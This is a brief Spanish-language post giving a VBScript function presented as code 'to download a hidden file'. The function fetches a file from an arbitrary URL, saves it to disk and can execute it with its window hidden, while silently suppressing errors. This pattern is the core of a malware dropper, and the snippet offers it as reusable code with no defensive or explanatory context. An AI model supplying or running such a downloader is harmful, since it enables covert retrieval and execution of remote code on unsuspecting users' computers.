El código para descargar un archivo oculto es el siguiente:
Function DescargarArchivo(URL,SaveName,SavePath,RunAfterDownload,RunHide)
On Error Resume Next
Err.Clear
Set XML = CreateObject("Microsoft.XMLHTTP")
Set ADO = CreateObject("ADODB.Stream")
XML.Open "GET", URL, False
XML.send
XML.getAllResponseHeaders
FullSavePath = SavePath & "\" & SaveName
ADO.Open
ADO.Type = 1
ADO.Write XML.responseBody
ADO.SaveToFile FullSavePath, 2
If Err Then
DescargarArchivo = False
Else
If RunAfterDownload = True Then
If RunHide = True Then
WshShell.Run FullSavePath, vbHide
Else
WshShell.Run FullSavePath
End If
End If
DescargarArchivo = True
End If
End Function